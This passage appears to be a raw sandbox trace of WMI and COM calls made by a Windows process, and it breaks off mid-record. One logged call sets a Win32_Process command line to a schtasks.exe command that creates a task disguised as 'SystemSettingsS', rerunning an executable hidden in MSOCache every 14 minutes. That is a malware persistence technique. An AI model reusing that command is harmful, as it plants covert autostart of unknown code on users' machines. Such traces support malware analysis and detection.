puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetInfo (in: This=0x352880, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0132.493] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0132.493] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0132.493] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0132.493] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.506] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x1b3db600) returned 0x0 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b3db600, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0132.507] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b3db600, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x352b80) returned 0x0 [0132.507] WbemDefPath:IUnknown:Release (This=0x1b3db600) returned 0x0 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x352b80) returned 0x0 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0132.507] WbemDefPath:IUnknown:AddRef (This=0x352b80) returned 0x3 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0132.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x1b449ac0) returned 0x0 [0132.508] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449ac0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.508] WbemDefPath:IUnknown:Release (This=0x1b449ac0) returned 0x3 [0132.508] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0132.508] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0132.508] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0132.508] WbemDefPath:IUnknown:Release (This=0x352b80) returned 0x2 [0132.508] WbemDefPath:IUnknown:Release (This=0x352b80) returned 0x1 [0132.508] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0132.508] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0132.508] WbemDefPath:IUnknown:QueryInterface (in: This=0x352b80, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x352b80) returned 0x0 [0132.508] WbemDefPath:IUnknown:AddRef (This=0x352b80) returned 0x3 [0132.508] WbemDefPath:IUnknown:Release (This=0x352b80) returned 0x2 [0132.508] WbemDefPath:IWbemPath:SetText (This=0x352b80, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0132.508] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0132.508] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0132.508] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.508] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0132.508] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0132.509] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0132.509] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.509] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b449680) returned 0x0 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449680, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0132.510] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449680, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351680) returned 0x0 [0132.510] WbemDefPath:IUnknown:Release (This=0x1b449680) returned 0x0 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351680) returned 0x0 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0132.510] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0132.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b449860) returned 0x0 [0132.510] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449860, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.510] WbemDefPath:IUnknown:Release (This=0x1b449860) returned 0x3 [0132.510] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0132.511] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0132.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0132.511] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0132.511] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0132.511] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0132.511] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351680) returned 0x0 [0132.511] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0132.511] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0132.511] WbemDefPath:IWbemPath:SetText (This=0x351680, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352b80, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351680, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0132.511] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x352b80) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351680, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351680, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351680, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0132.511] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352b80, uIndex=0x0, pszName="root") returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351680, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351680, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0132.511] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352b80, uIndex=0x1, pszName="cimv2") returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetServer (in: This=0x351680, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetServer (in: This=0x351680, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0132.511] WbemDefPath:IWbemPath:GetServer (in: This=0x352b80, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetServer (in: This=0x352b80, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetInfo (in: This=0x352b80, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352b80, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352b80, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352b80, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0132.512] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0132.512] WbemLocator:IUnknown:AddRef (This=0x1b442958) returned 0x3 [0132.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x1b442958) returned 0x0 [0132.512] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x3 [0132.512] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x2 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352b80, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0132.512] WbemDefPath:IWbemPath:GetText (in: This=0x352b80, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0132.513] IWbemServices:GetObject (in: This=0x1b3e2470, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b432500, ppCallResult=0x0) returned 0x0 [0132.519] IWbemClassObject:GetMethod (in: This=0x1b432500, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b432870, ppOutSignature=0x1b10dac0*=0x1b450580) returned 0x0 [0132.519] IWbemClassObject:SpawnInstance (in: This=0x1b432870, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b432be0) returned 0x0 [0132.519] IWbemClassObject:Get (in: This=0x1b432be0, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9978*=0, plFlavor=0x2cd997c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9978*=8, plFlavor=0x2cd997c*=32) returned 0x0 [0132.519] IWbemClassObject:Get (in: This=0x1b432be0, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9978*=8, plFlavor=0x2cd997c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9978*=8, plFlavor=0x2cd997c*=32) returned 0x0 [0132.519] IWbemClassObject:Put (This=0x1b432be0, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0132.519] IWbemClassObject:Get (in: This=0x1b432be0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9a08*=0, plFlavor=0x2cd9a0c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9a08*=13, plFlavor=0x2cd9a0c*=32) returned 0x0 [0132.520] IWbemClassObject:Get (in: This=0x1b432be0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9a08*=13, plFlavor=0x2cd9a0c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd9a08*=13, plFlavor=0x2cd9a0c*=32) returned 0x0 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x1b441b80) returned 0x0 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0132.520] IUnknown:AddRef (This=0x1b441b80) returned 0x3 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0132.520] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 